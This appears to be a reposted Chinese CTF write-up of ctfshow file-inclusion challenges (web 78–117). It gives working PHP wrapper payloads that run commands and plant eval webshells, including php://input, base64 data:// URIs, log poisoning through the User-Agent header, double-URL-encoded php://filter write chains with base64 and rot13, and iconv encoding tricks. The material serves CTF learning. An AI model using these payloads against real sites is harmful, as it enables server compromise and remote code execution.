ctfshow——文件包含

文章目录

  • web 78——php伪协议
    • 第一种方法——php://input
    • 第二种方法——data://text/plain
    • 第三种方法——远程包含(http://协议)
  • web 78——str_replace过滤字符php
    • 第一种方法——远程包含(http://协议)
    • 第二种方法——data://,php短标签
    • 第三种方法——data://,base64编码
  • web 80——str_replace过滤关键字php和data
    • 第一种方法——日志包含
    • 第二种方法——大写PHP绕过,PHP://input
  • web 81——过滤关键字php、data和`:`,日志包含
  • web 82
  • web 87——url编码、php伪协议、base64、rot13
  • 第一种方法——php://filter,base64编码
  • 第二种方法——php://filter,base64编码
  • web 88——data://text/plain;base64
  • web 117——php://filter, convert.iconv.*

web 78——php伪协议

在这里插入图片描述

第一种方法——php://input

这里不知道flag.php的文件路径,可以考虑使用php://input尝试执行php语句,获取文件路径。

	# url栏?file=php://input # POST data<?php system('ls');?>

在这里插入图片描述

cat flag.php可能读取不了文件,这时候试试tac flag.php。linux tac命令是倒序读取文件,也就是从最后一行往前读取文件。

cat flag.php在源代码中显示php文件(查看源代码),tac flag.php不需要查看源代码。

在这里插入图片描述

第二种方法——data://text/plain

data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。用法:

data://text/plain,<php代码>
data://text/plain;base64,<php代码>

在这里插入图片描述

第三种方法——远程包含(http://协议)

在这里插入图片描述

架设外网服务器,使用远程包含自己服务器上的后门文件,即可获取webshell。

php伪协议总结
php伪协议

web 78——str_replace过滤字符php

在这里插入图片描述
首先,根据php特性,str_replace无法迭代过滤,只过滤一次。此处,如果用空格替换,可以直接使用双写进行绕过

第一种方法——远程包含(http://协议)

在这里插入图片描述

架设外网服务器,使用远程包含自己服务器上的后门文件,即可获取webshell。

第二种方法——data://,php短标签

既然过滤php字符串,使用data://协议,同时使用php短标签避免出现字符串php。php中代码开始标志类型(<?php ?>,<? ?>,<?= ?>,<% %>,<%= %>)

<?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>

在这里插入图片描述

第三种方法——data://,base64编码

使用data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ (<?php phpinfo();?>)
在这里插入图片描述

web 80——str_replace过滤关键字php和data

在这里插入图片描述
可以看到关键字phpdata被过滤,因此包含这两个关键字的php伪协议都无法用了。查看服务器的系统信息,可以发现属于nginxnginx日志的默认路径为/var/log/nginx/access.log

在这里插入图片描述

第一种方法——日志包含

通过包含日志文件,可以读取到日志文件。因此思路:日志文件记录访问者UA信息,修改UA信息为后门代码,包含就会触发后门代码

?file=/var/log/nginx/access.log
UA:<?php system('ls')?>

在这里插入图片描述
在这里插入图片描述

第二种方法——大写PHP绕过,PHP://input

在这里插入图片描述

这里对php://input的php进行大写可以绕过过滤,但是通过大写DATA不能使用data://text/plain
在这里插入图片描述

web 81——过滤关键字php、data和:,日志包含

在这里插入图片描述
这里过滤了phpdata:,基本上伪协议是用不了了,不过仍然可以使用日志包含。

?file=/var/log/nginx/access.log
UA:<?php system('ls')?>

在这里插入图片描述

web 82

linux下,默认保存session的文件路径/tmp/var/lib/php/session;Windows下session文件的路径不固定。
关于session,只要你与一个网站建立连接,网站某个文件夹下就会产生session文件,关闭浏览器或者过了一段时间,session就会失效,再次建立连接的话就会产生新的session文件。
服务器端的session文件命名如下,尝试简单爆破是几乎不可能的。
在这里插入图片描述
实际上,数据包中的cookie中有个PHPSESSID的值,服务端将sess_PHPSESSID的值进行拼接,就是当前会话session的文件名。因此我们可以使用这种方式固定session文件的文件名。
在这里插入图片描述
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

web 87——url编码、php伪协议、base64、rot13

在这里插入图片描述

  1. 两个函数:

    • file_put_contents($filename , $data)data数据写入$filename中;
    • urldecode($str):对$str进行url解码。
  2. 关于URL编码与解码。URL编码解码详解,看这一篇就够够的了
      当 URL 路径或者查询参数中,带有中文或者特殊字符的时候,就需要对 URL 进行编码。URL 编码协议规定(RFC3986 协议):URL 中只允许使用 ASCII 字符集可以显示的字符,比如英文字母、数字、和- _ . ~ ! *这 6 个特殊字符。哪些字符需要编码,分为以下三种情况:

    • ASCII 表中没有对应的可显示字符,例如,汉字。
    • 不安全字符,包括:#、”、%、 <、>、[、]、{、}、|、\、^
    • 部分保留字符,即 &、/、:、;、=、?、@

      URL中出现特殊字符,火狐浏览器会先对齐URL编码再发送,使得请求数据包中的请求的参数是经过编码后的数据。

    #url
    http://995aec24-2329-48fb-be3e-1a441143cb11.challenge.ctf.show/?file=%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%77%72%69%74%65%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%2e%70%68%70p
    

    在这里插入图片描述

    破案了,是max hackbar的缘故,使用这个插件会对参数后面的特殊字符自动URL编码。
    在这里插入图片描述

    当服务端收到请求后,若出现特殊字符,首先进行URL解码。
    在这里插入图片描述
    在这里插入图片描述

    但是,不同的浏览器策略又不一样,可能对请求参数没有进行编码。比如Edeg请求如下:
    在这里插入图片描述

    Google请求如下:
    在这里插入图片描述
    唯一确定的是,当服务器端接收到经过URL编码的数据后(数据包里的被URL编码的数据也会被URL解码),会自动进行解码,故此处file参数的值需要二次URL编码。

  3. Base64编码与解码
    Base64编码是使用64个可打印ASCII字符(A-Za-z0-9+/)将任意字节序列数据编码成ASCII字符串,另有=符号用作后缀用途。Base64编码,3个字节编码为四个字节;Base64解码,4个字节解码为3个字节。 ASCII码和UTF-8编码中,一个字符占一个字节。
    Base64编码与解码原理

  4. php://filter协议

    php://filter/write=convert.base64-encode/resource=x.php # 先将数据进行base64编码后再写入文件x.php中
    php://filter/read=convert.base64-encode/resource=x.php # 先进行base64编码后再读取文件x.php
    

第一种方法——php://filter,base64编码

因为后端对关键字phpdata:.进行过滤,因此需要进行编码,考虑到urldecode函数,因此对?file=php://filter/write=convert.base64-decode/resource=123.php 两次URL全编码(后端收到编码过的数据会自动解码,故二次编码)。

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

base64解码时遇到不属于(A-Za-z0-9+/)的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码,因此<?php die('大佬别秀了');?>最终经base64解码的字符仅phpdie,四个字符解码为三个字符,因此凑两个字符,吃掉phpdie

#POST数据
content=aaPD9waHAgcGhwaW5mbygpOz8+

其中<?php phpinfo();?>被编码为PD9waHAgcGhwaW5mbygpOz8+,因为在URL编码中+代表[空格],服务端接收到+会被认为是[空格]。因此,可以对后门代码进行url编码。

#POST数据
content=aa%50%44%39%77%61%48%41%67%63%47%68%77%61%57%35%6d%62%79%67%70%4f%7a%38%2b

在这里插入图片描述
在这里插入图片描述

用火狐浏览器可能做不了,就是经过url编码的post表单数据好像不会自动解码。

第二种方法——php://filter,base64编码

php://filter/write=string.rot13/resource=23.php进行二次URL编码,其实在将内容写入234.php之前进行rot13编码。

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

rot13两次解码后会变成原来的样子,先将<?php phpinfo():?>进行一次rot13编码,写入文件之前再进行rot13编码,两次编码后写入php后门代码。也可以对经过一次rot13编码的数据进行url编码。
在这里插入图片描述
在这里插入图片描述

web 88——data://text/plain;base64

在这里插入图片描述
php伪协议中,php://filter用于读文件、写文件;php://inputdata://text/plain用于直接执行php代码。这里使用data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz5h通关。<?php @eval($_POST['cmd']);?>a经过base64编码就是PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz5h
在这里插入图片描述
需要注意的是,base64编码后的数据不能出现+=+在URL中会被当做看空格处理,进行base64编码的时候会得不到原数据;=的话,会被后端过滤。

web 117——php://filter, convert.iconv.*

在这里插入图片描述
唯独没有过滤php://filter,这里需要使用convert.iconv.*过滤器,

# url
http://92caed34-03fd-4991-90dc-6e8354ba37a8.challenge.ctf.show/?file=php://filter/write=convert.iconv.UCS-2BE.UCS-2LE/resource=1.php
# POST
contents=?<hp pe@av(l_$OPTS'[mc'd)]?;>> //字符UCS-2LE->UCS-2BE的编码,字符多加一个>是防止报错,php中标签外的>不解析。

convert.iconv.*其实就是一个字符转换,convert.iconv.<input-encoding>.<output-encoding>。可以在linux下使用iconv进行字符编码转换,语法如下:

iconv -f UCS-2LE -t UCS-2BE [源文件名] > [输出文件名]

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/252624.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Visual Studio 2010+C#实现信源和信息熵

1. 设计要求 以图形界面的方式设计一套程序&#xff0c;该程序可以实现以下功能&#xff1a; 从输入框输入单个或多个概率&#xff0c;然后使用者可以通过相关按钮的点击求解相应的对数&#xff0c;自信息以及信息熵程序要能够实现马尔可夫信源转移概率矩阵的输入并且可以计算…

电商推荐系统

此篇博客主要记录一下商品推荐系统的主要实现过程。 一、获取用户对商品的偏好值 代码实现 package zb.grms;import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.conf.Configured; import org.apache.hadoop.fs.Path; import org.apache.hadoop.io.Doub…

C++内存分区模型

C程序在执行时&#xff0c;将内存大方向划为4个区域。分别是代码区、全局区、栈区、堆区。 栈区&#xff1a;由编译器自动分配释放&#xff0c;存放函数的参数值、局部变量等。 堆区&#xff1a;由程序员分配和释放&#xff0c;若程序员不释放&#xff0c;程序结束时由操作系…

阅读笔记——《RapidFuzz: Accelerating fuzzing via Generative Adversarial Networks》

【参考文献】Ye A, Wang L, Zhao L, et al. Rapidfuzz: Accelerating fuzzing via generative adversarial networks[J]. Neurocomputing, 2021, 460: 195-204.【注】本文仅为作者个人学习笔记&#xff0c;如有冒犯&#xff0c;请联系作者删除。 目录 摘要 一、介绍 二、相关…

项目02《游戏-07-开发》Unity3D

基于 项目02《游戏-06-开发》Unity3D &#xff0c; 接下来做UI框架的逻辑系统&#xff0c;管理器和UI背包&#xff0c; 首先闯将UI框架的两个重要脚本 BasePanel.cs 和 UIManager.cs &#xff0c; 双击BasePanel.cs脚本修改代码&#xff1a; using UnityEngine; pu…

Redis核心技术与实战【学习笔记】 - 17.Redis 缓存异常:缓存雪崩、击穿、穿透

概述 Redis 的缓存异常问题&#xff0c;除了数据不一致问题外&#xff0c;还会面临其他三个问题&#xff0c;分别是缓存雪崩、缓存击穿、缓存穿透。这三个问题&#xff0c;一旦发生&#xff0c;会导致大量的请求积压到数据库。若并发量很大&#xff0c;就会导致数据库宕机或故…

【UE 材质】扇形材质

目录 效果 步骤 &#xff08;1&#xff09;控制扇形的弧宽度 &#xff08;2&#xff09;控制扇形的角度 &#xff08;3&#xff09;完整节点 效果 步骤 &#xff08;1&#xff09;控制扇形的弧宽度 创建一个材质&#xff0c;混合模式设置为“Additive”&#xff0c;着色…

用的到的linux-删除文件-Day3

前言&#xff1a; 上一节&#xff0c;我们讲到了怎么去移动文件&#xff0c;其中使用到两大类的脚本命令即cp和mv。各两种命令都可以完成移动&#xff0c;但是cp是复制粘贴的方式&#xff0c;可以选择原封不动的复制粘贴过来&#xff0c;即不修改文件及文件夹的创建时间等&…

2-2 动手学深度学习v2-损失函数-笔记

损失函数&#xff0c;用来衡量预测值和真实值之间的区别。是机器学习里面一个非常重要的概念。 三个常用的损失函数 L2 loss、L1 loss、Huber’s Robust loss 均方损失 L2 Loss l ( y , y ′ ) 1 2 ( y − y ′ ) 2 l(y,y^{\prime})\frac{1}{2}(y-y^{\prime})^{2} l(y,y′)21…

分享springboot框架的一个开源的本地开发部署教程(若依开源项目开发部署过程分享持续更新二开宝藏项目PostgresSQL数据库版)

1首先介绍下若依项目&#xff1a; 若依是一个基于Spring Boot和Spring Cloud技术栈开发的多租户权限管理系统。该开源项目提供了一套完整的权限管理解决方案&#xff0c;包括用户管理、角色管理、菜单管理、部门管理、岗位管理等功能。 若依项目采用前后端分离的架构&#xf…

1 初识JVM

JVM&#xff08;Java Virtual Machine&#xff09;&#xff0c;也就是 “Java虚拟机”。 对于第三点功能&#xff1a;即时编译 常见的JVM 默认安装在JDK中的虚拟机为HotSpot&#xff1a;可以用“java -version”进行查看

LLMs之miqu-1-70b:miqu-1-70b的简介、安装和使用方法、案例应用之详细攻略

LLMs之miqu-1-70b&#xff1a;miqu-1-70b的简介、安装和使用方法、案例应用之详细攻略 目录 miqu-1-70b的简介 miqu-1-70b的安装和使用方法 1、安装 2、使用方法 miqu-1-70b的案例应用 miqu-1-70b的简介 2024年1月28日&#xff0c;发布了miqu 70b&#xff0c;潜在系列中的…

《动手学深度学习(PyTorch版)》笔记7.4

注&#xff1a;书中对代码的讲解并不详细&#xff0c;本文对很多细节做了详细注释。另外&#xff0c;书上的源代码是在Jupyter Notebook上运行的&#xff0c;较为分散&#xff0c;本文将代码集中起来&#xff0c;并加以完善&#xff0c;全部用vscode在python 3.9.18下测试通过&…

你了解引用和指针的区别吗?

前言&#xff1a; 在计算机编程中&#xff0c;引用和指针是两个重要的概念&#xff0c;它们用于处理内存中的数据。它们在很多编程语言中都有相应的支持&#xff0c;例如C和C。对于c语言来说&#xff0c;指针是最重要的概念之一&#xff0c;想要学好c语言就难以绕开对于指针的学…

演讲回顾:如何为大规模研发团队加速CI构建,实现高效流水线

近日&#xff0c;龙智联合Atlassian举办的DevSecOps研讨会年终专场”趋势展望与实战探讨&#xff1a;如何打好DevOps基础、赋能创新”在上海圆满落幕。龙智Atlassian技术与顾问咨询团队&#xff0c;以及清晖、JamaSoftware、CloudBees等生态伙伴的嘉宾发表了主题演讲&#xff0…

vue项目开发vscode配置

配置代码片段 步骤如下&#xff1a; 文件->首选项->配置用户代码片段新增全局代码片段起全局代码片段文件名“xxx.code-snippets” 这里以配置vue2初始代码片段为例&#xff0c;配置具体代码片段 {"name": "vue-sph","version": "…

蓝桥杯备战——13.PCF8591芯片的使用

目录 1.芯片简介2.读写时序3.控制字4.代码封装库5.原理图分析6.使用示例 1.芯片简介 截取自NXP的PCF8591芯片数据手册&#xff0c;我把重点关注部分划出来了&#xff0c;请务必自行阅读一遍数据手册&#xff01; 2.读写时序 ①器件地址&#xff1a; Bit0决定是读还是写操作&…

SQL Server数据库日志查看若已满需要清理的三种解决方案

首先查看获取实例中每个数据库日志文件大小及使用情况&#xff0c;根据数据库日志占用百分比来清理 DBCC SQLPERF(LOGSPACE) 第一种解决方案&#xff1a; 在数据库上点击右键 → 选择 属性 → 选择 文件&#xff0c;然后增加数据库日志文件的文件大小。 第二种解决方案 手动…

安全通信设置:使用 OpenSSL 为 Logstash 和 Filebeat 提供 SSL 证书

在为 Elasticsearch 采集数据时&#xff0c;我们经常使用到 Filebeat 及 Logstash。在我们之前的很多教程中&#xff0c;我们通常不为 Filebeat 和 Logstash 之前的通信做安全配置。 如何为 Filebeat 及 Logstash 直接建立安全的链接&#xff1f;这个在很多的情况下是非常有用的…

【CSS】css如何实现字体大小小于12px?

【CSS】css如何实现字体大小小于12px? 问题解决方案transform: scale(0.5)&#xff08;常用&#xff09;SVG 矢量图设置text 问题 文字需要显示为12px&#xff0c;但是小于12px的&#xff0c;浏览器是显示不来的 解决方案 transform: scale(0.5)&#xff08;常用&#xff0…